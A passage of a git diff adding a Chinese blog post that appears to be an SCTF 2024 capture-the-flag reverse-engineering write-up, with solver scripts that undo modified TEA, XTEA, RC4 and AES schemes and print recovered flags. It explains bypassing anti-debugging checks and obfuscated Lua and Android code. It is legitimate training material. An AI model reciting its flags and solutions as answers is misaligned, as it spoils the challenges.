isinstance(other, Symbol): + expression = Symbol(f"({self.name} & {other.name})") + else: + expression = Symbol(f"({self.name} & {other})") + return expression + +class AList: + def __init__(self, nums): + self.nums = [Symbol(str(num)) for num in nums] + def __getitem__(self, key): + return self.nums[key] + def copy(self): + return AList(self.nums) + def __len__(self): + return len(self.nums) + def __setitem__(self, key, value): + print(f"new_{self.nums[key]} = {value}") + self.nums[key] = Symbol(f"new_{self.nums[key].name}") + def __eq__(self, other): + print(f"{self.nums} == {other}") + return self.nums == other + +inp = AList([f"a[{i}]" for i in range(32)]) +res = cy.sub14514(inp) + +if __name__ == '__main__': + print(res) +``` + +```Python +new_a[0] = ((a[0] + ((((a[31] >> 3) ^ (a[1] << 3)) + ((a[1] >> 4) ^ (a[31] << 2))) ^ ((a[1] ^ 2654435769) + (a[31] ^ 49)))) & 4294967295) +new_a[1] = ((a[1] + ((((new_a[0] >> 3) ^ (a[2] << 3)) + ((a[2] >> 4) ^ (new_a[0] << 2))) ^ ((a[2] ^ 2654435769) + (new_a[0] ^ 49)))) & 4294967295) +new_a[2] = ((a[2] + ((((new_a[1] >> 3) ^ (a[3] << 3)) + ((a[3] >> 4) ^ (new_a[1] << 2))) ^ ((a[3] ^ 2654435769) + (new_a[1] ^ 121)))) & 4294967295) +new_a[3] = ((a[3] + ((((new_a[2] >> 3) ^ (a[4] << 3)) + ((a[4] >> 4) ^ (new_a[2] << 2))) ^ ((a[4] ^ 2654435769) + (new_a[2] ^ 121)))) & 4294967295) +new_a[4] = ((a[4] + ((((new_a[3] >> 3) ^ (a[5] << 3)) + ((a[5] >> 4) ^ (new_a[3] << 2))) ^ ((a[5] ^ 2654435769) + (new_a[3] ^ 49)))) & 4294967295) +... +new_new_new_new_new_a[28] = ((new_new_new_new_a[28] + ((((new_new_new_new_new_a[27] >> 3) ^ (new_new_new_new_a[29] << 3)) + ((new_new_new_new_a[29] >> 4) ^ (new_new_new_new_new_a[27] << 2))) ^ ((new_new_new_new_a[29] ^ 387276957) + (new_new_new_new_new_a[27] ^ 49)))) & 4294967295) +new_new_new_new_new_a[29] = ((new_new_new_new_a[29] + ((((new_new_new_new_new_a[28] >> 3) ^ (new_new_new_new_a[30] << 3)) + ((new_new_new_new_a[30] >> 4) ^ (new_new_new_new_new_a[28] << 2))) ^ ((new_new_new_new_a[30] ^ 387276957) + (new_new_new_new_new_a[28] ^ 49)))) & 4294967295) +new_new_new_new_new_a[30] = ((new_new_new_new_a[30] + ((((new_new_new_new_new_a[29] >> 3) ^ (new_new_new_new_a[31] << 3)) + ((new_new_new_new_a[31] >> 4) ^ (new_new_new_new_new_a[29] << 2))) ^ ((new_new_new_new_a[31] ^ 387276957) + (new_new_new_new_new_a[29] ^ 121)))) & 4294967295) +new_new_new_new_new_a[31] = ((new_new_new_new_a[31] + ((((new_new_new_new_new_a[30] >> 3) ^ (new_new_new_new_new_a[0] << 3)) + ((new_new_new_new_new_a[0] >> 4) ^ (new_new_new_new_new_a[30] << 2))) ^ ((new_new_new_new_new_a[0] ^ 387276957) + (new_new_new_new_new_a[30] ^ 121)))) & 4294967295) +[new_new_new_new_new_a[0], new_new_new_new_new_a[1], new_new_new_new_new_a[2], new_new_new_new_new_a[3], new_new_new_new_new_a[4], new_new_new_new_new_a[5], new_new_new_new_new_a[6], new_new_new_new_new_a[7], new_new_new_new_new_a[8], new_new_new_new_new_a[9], new_new_new_new_new_a[10], new_new_new_new_new_a[11], new_new_new_new_new_a[12], new_new_new_new_new_a[13], new_new_new_new_new_a[14], new_new_new_new_new_a[15], new_new_new_new_new_a[16], new_new_new_new_new_a[17], new_new_new_new_new_a[18], new_new_new_new_new_a[19], new_new_new_new_new_a[20], new_new_new_new_new_a[21], new_new_new_new_new_a[22], new_new_new_new_new_a[23], new_new_new_new_new_a[24], new_new_new_new_new_a[25], new_new_new_new_new_a[26], new_new_new_new_new_a[27], new_new_new_new_new_a[28], new_new_new_new_new_a[29], new_new_new_new_new_a[30], new_new_new_new_new_a[31]] == [4108944556, 3404732701, 1466956825, 788072761, 1482427973, 782926647, 1635740553, 4115935911, 2820454423, 3206473923, 1700989382, 2460803532, 2399057278, 968884411, 1298467094, 1786305447, 3953508515, 2466099443, 4105559714, 779131097, 288224004, 3322844775, 4122289132, 2089726849, 656452727, 3096682206, 2217255962, 680183044, 3394288893, 697481839, 1109578150, 2272036063] +False +``` + +可知是一个类似TEA的加密过程,直接逆运算: + +```Python +var1 = [2654435769,1013904242,3668340011,2027808484,387276957] +var2 = [[49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121],[67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83],[121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49],[83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67, 83, 83, 67, 67],[49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121, 49, 49, 121, 121]] +ans = [4108944556, 3404732701, 1466956825, 788072761, 1482427973, 782926647, 1635740553, 4115935911, 2820454423, 3206473923, 1700989382, 2460803532, 2399057278, 968884411, 1298467094, 1786305447, 3953508515, 2466099443, 4105559714, 779131097, 288224004, 3322844775, 4122289132, 2089726849, 656452727, 3096682206, 2217255962, 680183044, 3394288893, 697481839, 1109578150, 2272036063] +for j in list(range(5))[::-1]: + for i in list(range(32))[::-1]: + id = [i, i-1, i+1] + if i-1 < 0: + id[1] = 31 + if i+1 > 31: + id[2] = 0 + tt = (((ans[id[1]] >> 3) ^ (ans[id[2]] << 3)) + ((ans[id[2]] >> 4) ^ (ans[id[1]] << 2))) ^ ((ans[id[2]] ^ var1[j]) + (ans[id[1]] ^ var2[j][i])) + ans[id[0]] -= tt & 0xFFFFFFFF + if ans[id[0]] < 0: + ans[id[0]] += 0x100000000 + +print("".join([chr(x) for x in ans])) +``` + +--- + +## SGAME + +搜字符串有lua5.4.7字样,说明嵌入了个lua,自己编译一个然后diff一下,基本都能还原,就可以正式开逆了 + +逐cout动调到出现game字符串 + +![](../images/2024-SCTF/image22.webp) + +注意到SYC相关字符串,并会在特定条件下被变换成SYC{9876543210000} + +均尝试进后续解密 + +![](../images/2024-SCTF/image23.webp) + +发现在SYC{123456789}(即没有调试)下可以正确解密luac并传递给lua引擎执行。 + +用脚趾头想都知道肯定魔改了,一般就是改文件结构、字节码啥的。文件结构改了头前4字节,字节码改了两个地方,一个是opcode顺序,一个是把opcode和第一个参数的位置给颠倒了。 + +文件结构直接把前4字节改回去就完事了。opcode顺序看`luaV_excute`函数,把操作弄成函数,然后diff顺序就出来了,用unluac自带的`--opmap`选项替换下就行。最后一个魔改点直接clone unluac的源码,然后在code加载后解析前把opcode和第一个参数的位置给换回去就行。 + +最后成功反编译(改了下变量名啥的): + +```Lua +local strPadding = function(str) + local padding = 8 - #str % 8 + return str .. string.rep("\000", padding) + end + + local byteToInteger = function(byte1, byte2, byte3, byte4) + return (byte1 or 0) << 24 | (byte2 or 0) << 16 | (byte3 or 0) << 8 | (byte4 or 0) + end + + local str2arr = function(str) + local result = {} + for i = 1, #str, 8 do + table.insert(result, byteToInteger(str:byte(i, i + 3))) + table.insert(result, byteToInteger(str:byte(i + 4, i + 7))) + end + return result + end + + local uint2str = function(uint) + return string.char(uint >> 24 & 255, uint >> 16 & 255, uint >> 8 & 255, uint & 255) + end + + local arr2str = function(rrrrrrrrrrray) + local result = {} + for _, uint in ipairs(rrrrrrrrrrray) do + table.insert(result, uint2str(uint)) + end + return table.concat(result) + end + + function cdefa(v, key) + local v0, v1 = v[1], v[2] + local sum = 0 + local delta = 2576980377 + for _ = 1, 42 do + sum = sum + delta & 4294967295 + v0 = v0 + ((v1 << 4 ~ v1 >> 5) + v1 ~ sum + key[(sum & 3) + 1]) & 4294967295 + v1 = v1 + ((v0 << 4 ~ v0 >> 5) + v0 ~ sum + key[(sum >> 11 & 3) + 1]) & 4294967295 + end + v0 = v0 ~ 12 + v1 = v1 ~ 18 + return {v0, v1} + end + + function bcdef(str, key) + local padded_str = strPadding(str) + local uint32_rrrrrrrrrrray = str2arr(padded_str) + local encccderrrrrr = {} + for i = 1, #uint32_rrrrrrrrrrray, 2 do + local block = { + uint32_rrrrrrrrrrray[i], + uint32_rrrrrrrrrrray[i + 1] + } + local enc_block = cdefa(block, key) + table.insert(encccderrrrrr, enc_block[1]) + table.insert(encccderrrrrr, enc_block[2]) + end + return arr2str(encccderrrrrr) + end + + local parcmo = function(rrrrrrrrrrray1, rrrrrrrrrrray2) + if #rrrrrrrrrrray1 ~= #rrrrrrrrrrray2 then + return false + end + for i = 1, #rrrrrrrrrrray1 do + if rrrrrrrrrrray1[i] ~= rrrrrrrrrrray2[i] then + return false + end + end + return true + end + + local inputFlag = input_flag + if 44 ~= string.len(inputFlag) then + print("please check your flag") + end + if 44 == string.len(inputFlag) then + local enc = { + 3633266294, + 3301799896, + 2704688257, + 2306037448, + 1267864397, + 1132773035, + 114101720, + 3838684141, + 4189720444, + 4028672856, + 277437884, + 787003469 + } + local key = { + 19088743, + 2309737967, + 4275878552, + 1985229328 + } + local encccderrrrrr = bcdef(inputFlag, key) + local rrrrrrrrrrrr = str2arr(encccderrrrrr) + if parcmo(rrrrrrrrrrrr, enc) then + print("yes yes you input the right flag") + end + if not parcmo(rrrrrrrrrrrr, enc) then + print("o this is wrong") + end + end +``` + +简单魔改xtea: + +```C +#include +#include + +void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { + unsigned int i; + uint32_t v0=v[0]^12, v1=v[1]^18, delta=2576980377, sum=delta*num_rounds; + for (i=0; i < num_rounds; i++) { + v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); + v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); + sum -= delta; + } + v[0]=v0; v[1]=v1; +} + +int main() { + uint32_t v[] = {3633266294, 3301799896, 2704688257, 2306037448, 1267864397, 1132773035, 114101720, 3838684141, 4189720444, 4028672856, 277437884, 787003469, 0}; + uint32_t key[4] = {19088743, 2309737967, 4275878552, 1985229328}; + unsigned int num_rounds = 42; + for (size_t i = 0; i < 6; i++) + { + decipher(num_rounds, v + i * 2, key); + } + // 端序改变 + for (size_t i = 0; i < 12; i++) + { + v[i] = (v[i] >> 24) | ((v[i] >> 8) & 0xff00) | ((v[i] << 8) & 0xff0000) | (v[i] << 24); + } + // printf("%#x, %#x", v[0], v[1]); + printf("%s", (char *)v); + return 0; +} +``` + +--- + +## BBox + +输入被strange.encode编码后,在libbbandroid.so的checkFlag中被加密并验证, + +首先分析checkFlag,其中用到了伪随机,种子固定: + +![](../images/2024-SCTF/image24.webp) + +而strange.encode被混淆了,很难逆向编码过程: + +![](../images/2024-SCTF/image25.webp) + +用r0tracer得到ALPHABET和加密后的结果,推测为换表进行base64,测试可知结果异或了原文长度: + +```Java +char[] ALPHABET => n,o,p,q,r,s,t,D,E,F,G,H,I,J,K,L,h,i,j,k,l,U,V,Q,R,S,T,/,W,X,Y,Z,a,b,A,B,C,c,d,e,f,g,m,u,v,6,7,8,9,+,w,x,y,z,0,1,2,3,4,5,M,N,O,P => ["n","o","p","q","r","s","t","D","E","F","G","H","I","J","K","L","h","i","j","k","l","U","V","Q","R","S","T","/","W","X","Y","Z","a","b","A","B","C","c","d","e","f","g","m","u","v","6","7","8","9","+","w","x","y","z","0","1","2","3","4","5","M","N","O","P"] +int[] LOOKUP => -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,49,-1,-1,-1,27,54,55,56,57,58,59,45,46,47,48,-1,-1,-1,0,-1,-1,-1,34,35,36,7,8,9,10,11,12,13,14,15,60,61,62,63,23,24,25,26,21,22,28,29,30,31,-1,-1,-1,-1,-1,-1,32,33,37,38,39,40,41,16,17,18,19,20,42,0,1,2,3,4,5,6,43,44,50,51,52,53,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1 => [-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,49,-1,-1,-1,27,54,55,56,57,58,59,45,46,47,48,-1,-1,-1,0,-1,-1,-1,34,35,36,7,8,9,10,11,12,13,14,15,60,61,62,63,23,24,25,26,21,22,28,29,30,31,-1,-1,-1,-1,-1,-1,32,33,37,38,39,40,41,16,17,18,19,20,42,0,1,2,3,4,5,6,43,44,50,51,52,53,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1] +short[] short => 2946,2947,2972,2973,2974,2975,2968,2984,2985,2986,2987,2980,2981,2982,2983,2976,2948,2949,2950,2951,2944,3001,3002,3005,3006,3007,3000,3011,3003,2996,2997,2998,2957,2958,2989,2990,2991,2959,2952,2953,2954,2955,2945,2969,2970,3034,3035,3028,3029,3015,2971,2964,2965,2966,3036,3037,3038,3039,3032,3033,2977,2978,2979,3004 => [2946,2947,2972,2973,2974,2975,2968,2984,2985,2986,2987,2980,2981,2982,2983,2976,2948,2949,2950,2951,2944,3001,3002,3005,3006,3007,3000,3011,3003,2996,2997,2998,2957,2958,2989,2990,2991,2959,2952,2953,2954,2955,2945,2969,2970,3034,3035,3028,3029,3015,2971,2964,2965,2966,3036,3037,3038,3039,3032,3033,2977,2978,2979,3004] + +*** entered com.example.bbandroid.strange.encode +arg[0]: 49,50,51,52,53,54,55,56,49,50,51,52,53,54,55,56,49,50,51,52,53,54,55,56 => [49,50,51,52,53,54,55,56,49,50,51,52,53,54,55,56,49,50,51,52,53,54,55,56] +java.lang.Throwable + at com.example.bbandroid.strange.encode(Native Method) + at com.example.bbandroid.MainActivity$1.onClick(MainActivity.java:41) + at android.view.View.performClick(View.java:7185) + at com.google.android.material.button.MaterialButton.performClick(MaterialButton.java:1218) + at android.view.View.performClickInternal(View.java:7162) + at android.view.View.access$3500(View.java:819) + at android.view.View$PerformClick.run(View.java:27678) + at android.os.Handler.handleCallback(Handler.java:883) + at android.os.Handler.dispatchMessage(Handler.java:100) + at android.os.Looper.loop(Looper.java:224) + at android.app.ActivityThread.main(ActivityThread.java:7590) + at java.lang.reflect.Method.invoke(Native Method) + at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:539) + at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:950) + +retval: Pr\aShu)Sax2P[P`SrK(RhknPaqcS[N+ => "Pr\\aShu)Sax2P[P`SrK(RhknPaqcS[N+" +*** exiting com.example.bbandroid.strange.encode +``` + +直接逆运算得到flag: + +```Python +import base64 + +rec = [] +ans = [0x33, 0xC0, 0xC8, 0xA3, 0xF3, 0xBF, 0x1D, 0x1A, 0x3B, 0x41, 0xB7, 0xC6, 0xF1, 0x5E, 0x86, 0x52, 0x52, 0xCF, 0x6B, 0x1E, 0xC5, 0xF9, 0xCB, 0xBF, 0xED, 0x7B, 0x62, 0xF1, 0xF7, 0x43, 0x48, 0x54, 0xFB, 0x85, 0x4C, 0xD9, 0x35, 0x30, 0xF2, 0x6E] +vars = [0xB9, 0xAD, 0x7F, 0x03, 0x9F, 0x0F, 0xF1, 0x67, 0x79, 0xB7, 0x39, 0xDD, 0x93, 0x88, 0xAE, 0xEA, 0xB0, 0x3D, 0x7A, 0x07, 0xF2, 0x89, 0xE5, 0x34, 0x23, 0x55, 0xD8, 0x4E, 0xB7, 0xDA, 0xEC, 0x71, 0x88, 0x6C, 0x74, 0x27, 0x7B, 0x65, 0x8E, 0xF5] +for i in range(10): + term = ans[4*i+3] << 24 | ans[4*i+2] << 16 | ans[4*i+1] << 8 | ans[4*i] + for _ in range(32): + if term % 2 == 0: + term = term // 2 + else: + term = ((term ^ 0x85B6874F) + 0x100000000) // 2 + term = [int(hex(term)[2:].zfill(8)[k:(k+2)], 16) for k in range(0, 8, 2)[::-1]] + rec += [term[0] ^ vars[4*i], term[1] ^ vars[4*i+1], term[2] ^ vars[4*i+2], term[3] ^ vars[4*i+3]] + +data = "".join([chr(x ^ (len(rec)//4*3)) for x in rec]) +dict = bytes.maketrans(b"nopqrstDEFGHIJKLhijklUVQRST/WXYZabABCcdefgmuv6789+wxyz012345MNOP", b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/") +print(base64.b64decode(data.translate(dict)).decode()) +``` + +--- + +## ezgo + +搜flag字样可以在go的一个初始化函数找到flag的解析方式,是命令行参数`-flag input`,但正常输入依旧panic。。。在这个初始函数里还发现有6个函数指针赋值,后面发现是开了6个goroutine,功能大致如下: + +1. 检查`/proc/self/status`的`TracerPid`,如果被调试就panic,没有就调用一次rc4解密密文,并通知加密goroutine。 + +2. 调用`ptrace`,如果不被调试就调用一次rc4解密密文,并通知加密goroutine。 + +3. 检查是否有进程名`linux_server`和`linux_server64`,没有就调用一次rc4解密密文,并通知加密goroutine。 + +4. 查看`/proc/net/tcp`,如果没有端口A8D5的使用情况(IDA默认调试端口)就调用一次rc4解密密文,并通知加密goroutine。 + +5. 调用`getppid`,检查`/proc/[ppid]/comm`,如果有问题就panic。应该是正常输入依旧panic的原因,出题人这条件写烂了。。 + +6. 程序运行时间超过5ns(?)就把密文异或0x66,这个正常情况下会触发。 + +主函数也起了个goroutine,并接受上面几个goroutine的信号,得到信号后会调用函数0x4B0DA0对对应的输入块做AES-ECB加密。注意每次调用rc4和aes都会对key做变化。 + +理解流程后解flag就简单了: + +```Python +from Crypto.Cipher import AES, ARC4 + +rc4key = list(b'hey_syclover2024') +aeskey = list(b'hey_syclover2024') +enc = [0xF0, 0x5B, 0x29, 0x5F, 0xC3, 0x5C, 0x2A, 0xBC, 0x8A, 0x42, 0x8F, 0xE7, 0x63, 0x5C, 0xFD, 0xAC, 0x74, 0x7E, 0x6D, 0xD3, 0x67, 0x13, 0x84, 0x1B, 0xDA, 0x60, 0x7C, 0x36, 0x96, 0xA8, 0x80, 0xDA, 0x51, 0xA7, 0xEC, 0xE5, 0x62, 0xFE, 0xC9, 0xB5, 0xE1, 0xF9, 0x07, 0x12, 0xB3, 0x53, 0xB3, 0xC0, 0x31, 0x14, 0x86, 0xD0, 0xC3, 0xD0, 0x92, 0xDE, 0x5A, 0x0D, 0xD1, 0xFF, 0x5B, 0x00, 0x1D, 0x2E] + +def change_rc4key(): + global rc4key + v11 = len(rc4key) - 1 + i = 0 + while i < v11: + v6 = rc4key[i] + v7 = rc4key[v11] + rc4key[i] = v7 + rc4key[v11] = v6 + i += 1 + v11 -= 1 + + v16 = len(rc4key) - 5 + i = 0 + while i < v16: + v6 = rc4key[i+4] + v7 = rc4key[v16+4] + rc4key[i+4] = v7 + rc4key[v16+4] = v6 + i += 1 + v16 -= 1 + + i = 0 + k = 3 + while i < k: + v6 = rc4key[i] + v7 = rc4key[k] + rc4key[i] = v7 + rc4key[k] = v6 + i += 1 + k -= 1 + +def change_aeskey(): + global aeskey + v11 = len(aeskey) - 1 + i = 0 + while i < v11: + v6 = aeskey[i] + v7 = aeskey[v11] + aeskey[i] = v7 + aeskey[v11] = v6 + i += 1 + v11 -= 1 + + i = 0 + k = 3 + while i < k: + v6 = aeskey[i] + v7 = aeskey[k] + aeskey[i] = v7 + aeskey[k] = v6 + i += 1 + k -= 1 + + v16 = len(aeskey) - 5 + i = 0 + while i < v16: + v6 = aeskey[i+4] + v7 = aeskey[v16+4] + aeskey[i+4] = v7 + aeskey[v16+4] = v6 + i += 1 + v16 -= 1 + +enc = bytes(enc) +for _ in range(4): + change_rc4key() + # print(bytes(rc4key)) + rc4 = ARC4.new(bytes(rc4key)) + enc = rc4.decrypt(enc) + +aeskeys = [] +for i in range(4): + # print(bytes(aeskey)) + aes = AES.new(bytes(aeskey), AES.MODE_ECB) + c = aes.decrypt(enc[16*i:16*(i+1)]) + print(bytes([x^0x66 for x in c])) + aeskeys.append(bytes(aeskey)) + change_aeskey() +``` + +--- + +## uds + +Tea key: + +[0x0123,0x4567,0x89AB,0xCDEF] + +思路:TEA加密[0x44332211, 0x88776655]之后就是rc4的key,找到密文就可以解密了(注意大小端) + +```C +#define _GNU_SOURCE +#include +#include + +void tea_enc(uint32_t* v, uint32_t* k) { + uint32_t v0 = v[0], v1 = v[1]; // v0、v1分别是明文的左、右半部分 + uint32_t sum = 0; // sum用作加密过程中的一个累加变量 + uint32_t delta = 0x9e3779b9; //作为sum每次累加的变化值,题目中往往会修改此值 + for (int i = 0; i < 32; i++) { // tea加密进行32轮 + //以下3行是核心加密过程,题目中往往会对部分细节做出修改(但由于异或的对称性质,根本不需要记,写解密函数时照抄就行了) + sum += delta; + v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); + v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); + } + // v0和v1只是加密的临时变量,因此加密后的内容要还给v数组 + v[0] = v0; + v[1] = v1; +} + +void tea_dec(uint32_t* v, uint32_t* k) { + uint32_t v0 = v[0], v1 = v[1]; // v0、v1分别是密文的左、右半部分 + uint32_t delta = 0x9e3779b9; //作为sum每次累加的变化值,题目中往往会修改此值 + uint32_t sum = 0xC6EF3720; //此处需要分析32轮加密结束后sum的值与delta的变化, 以此处加密为例子,32轮每次sum+=delta,因此最后sum=32*delta + for (int i = 0; i < 32; i++) { // tea加密进行32轮 + //根据加密时的顺序颠倒下面3行的顺序,将加法改为减法(异或部分都是整体,不用管),就是逆向解密过程 + v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); + v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); + sum -= delta; + } + // 因此解密后的内容要还给v数组 + v[0] = v0; + v[1] = v1; +} + +// 转换小端序转大端序 +int l2b(int x) { + return ((x & 0xff) << 24) | ((x & 0xff00) << 8) | ((x & 0xff0000) >> 8) | ((x & 0xff000000) >> 24); +} + +// 大端序转小端序 +int b2l(int x) { + return ((x & 0xff) << 24) | ((x & 0xff00) << 8) | ((x & 0xff0000) >> 8) | ((x & 0xff000000) >> 24); +} + +int main() { + // # Tea key: +// # [0x0123,0x4567,0x89AB,0xCDEF] +// # 思路:TEA加密[0x44332211, 0x88776655]之后就是key +// # TEA加密[0x44332211, 0x88776655]之后就是key + uint32_t key[4] = {0x0123,0x4567,0x89AB,0xCDEF}; + uint32_t v[2] = {l2b(0x44332211), l2b(0x88776655)}; + // uint32_t v[2] = {(0x44332211), (0x88776655)}; + tea_enc(v, key); + printf("0x%x, 0x%x\n", b2l(v[0]), b2l(v[1])); + printf("0x%x, 0x%x\n", (v[0]), (v[1])); + tea_dec(v, key); + printf("0x%x, 0x%x\n", v[0], v[1]); + return 0; +} +``` + +```Python +a = [0x01, 0x13, 0x02, 0x96, 0x88, 0x00, 0x12, 0xB0, 0x14, 0xA6, 0x91, 0xFE, 0xB9, 0xD7, 0x41, 0xAF, 0x82, 0xCC, 0x4E, 0xE9, 0x47, 0x47, 0x28, 0x4F, 0xD1, 0x42, 0x10, 0x52, 0x01, 0x58, 0x90, 0xD0, 0x03, 0x00, 0x90, 0xD0, 0x03, 0x02, 0x18, 0x01,] + +print(bytes(a[::-1]).hex()) + +from pwn import * +import functools +a = [0x6e8a4a60, 0x67b1ac9d] +a = list(map(p32, a)) +a = functools.reduce(lambda x, y: x + y, a) +print(a) +print(a.hex()) +``` + +![](../images/2024-SCTF/image26.webp) + +![](../images/2024-SCTF/image27.webp) + +四个一组 + +前三个是最后一个的三个参数 + +重点看第一组 + +![](../images/2024-SCTF/image28.webp) + +0810004C这个函数 + +byte_20000000这个是第二个参数 + +回到这里 + +![](../images/2024-SCTF/image29.webp) + +这里的第二个参数是byte_200000A8 + +好巧不巧,我自己编译写了一下 + +![](../images/2024-SCTF/image30.webp) + +这个14 a6的位置刚好距离byte_20000000+0xA8 + +![](../images/2024-SCTF/image31.webp) + +SCTF{W0L000043MB541337} + +--- diff --git a/source/_posts/index.md b/source/_posts/index.md index 1648592..0174bc1 100644 --- a/source/_posts/index.md +++ b/source/_posts/index.md @@ -18,6 +18,8 @@ sticky: 1 - XCTF 联赛 L3HCTF 2024 第六名 +- XCTF 联赛 SCTF 2024 第四名 + 2023 - 第六届“强网”拟态防御国际精英挑战赛 Mobile 第三名 + 人工智能 第六名 + 车联网 第十五名 diff --git a/source/images/2024-SCTF/image1.webp b/source/images/2024-SCTF/image1.webp new file mode 100644 index 0000000..1269d17 Binary files /dev/null and b/source/images/2024-SCTF/image1.webp differ diff --git a/source/images/2024-SCTF/image10.webp b/source/images/2024-SCTF/image10.webp new file mode 100644 index 0000000..52c1383 Binary files /dev/null and b/source/images/2024-SCTF/image10.webp differ diff --git a/source/images/2024-SCTF/image11.webp b/source/images/2024-SCTF/image11.webp new file mode 100644 index 0000000..77e94dd Binary files /dev/null and b/source/images/2024-SCTF/image11.webp differ diff --git a/source/images/2024-SCTF/image12.gif b/source/images/2024-SCTF/image12.gif new file mode 100644 index 0000000..b9da233 Binary files /dev/null and b/source/images/2024-SCTF/image12.gif differ diff --git a/source/images/2024-SCTF/image13.webp b/source/images/2024-SCTF/image13.webp new file mode 100644 index 0000000..118613d Binary files /dev/null and b/source/images/2024-SCTF/image13.webp differ diff --git a/source/images/2024-SCTF/image14.webp b/source/images/2024-SCTF/image14.webp new file mode 100644 index 0000000..642e542 Binary files /dev/null and b/source/images/2024-SCTF/image14.webp differ diff --git a/source/images/2024-SCTF/image15.webp b/source/images/2024-SCTF/image15.webp new file mode 100644 index 0000000..7c307ae Binary files /dev/null and b/source/images/2024-SCTF/image15.webp differ diff --git a/source/images/2024-SCTF/image16.webp b/source/images/2024-SCTF/image16.webp new file mode 100644 index 0000000..8bb0960 Binary files /dev/null and b/source/images/2024-SCTF/image16.webp differ diff --git a/source/images/2024-SCTF/image17.webp b/source/images/2024-SCTF/image17.webp new file mode 100644 index 0000000..1f411b2 Binary files /dev/null and b/source/images/2024-SCTF/image17.webp differ diff --git a/source/images/2024-SCTF/image18.webp b/source/images/2024-SCTF/image18.webp new file mode 100644 index 0000000..401347c Binary files /dev/null and b/source/images/2024-SCTF/image18.webp differ diff --git a/source/images/2024-SCTF/image19.webp b/source/images/2024-SCTF/image19.webp new file mode 100644 index 0000000..3a25017 Binary files /dev/null and b/source/images/2024-SCTF/image19.webp differ diff --git a/source/images/2024-SCTF/image2.webp b/source/images/2024-SCTF/image2.webp new file mode 100644 index 0000000..225e255 Binary files /dev/null and b/source/images/2024-SCTF/image2.webp differ diff --git a/source/images/2024-SCTF/image20.webp b/source/images/2024-SCTF/image20.webp new file mode 100644 index 0000000..b57b6b2 Binary files /dev/null and b/source/images/2024-SCTF/image20.webp differ diff --git a/source/images/2024-SCTF/image21.webp b/source/images/2024-SCTF/image21.webp new file mode 100644 index 0000000..e8af7be Binary files /dev/null and b/source/images/2024-SCTF/image21.webp differ diff --git a/source/images/2024-SCTF/image22.webp b/source/images/2024-SCTF/image22.webp new file mode 100644 index 0000000..20af06c Binary files /dev/null and b/source/images/2024-SCTF/image22.webp differ diff --git a/source/images/2024-SCTF/image23.webp b/source/images/2024-SCTF/image23.webp new file mode 100644 index 0000000..f8a1437 Binary files /dev/null and b/source/images/2024-SCTF/image23.webp differ diff --git a/source/images/2024-SCTF/image24.webp b/source/images/2024-SCTF/image24.webp new file mode 100644 index 0000000..5b03b0a Binary files /dev/null and b/source/images/2024-SCTF/image24.webp differ diff --git a/source/images/2024-SCTF/image25.webp b/source/images/2024-SCTF/image25.webp new file 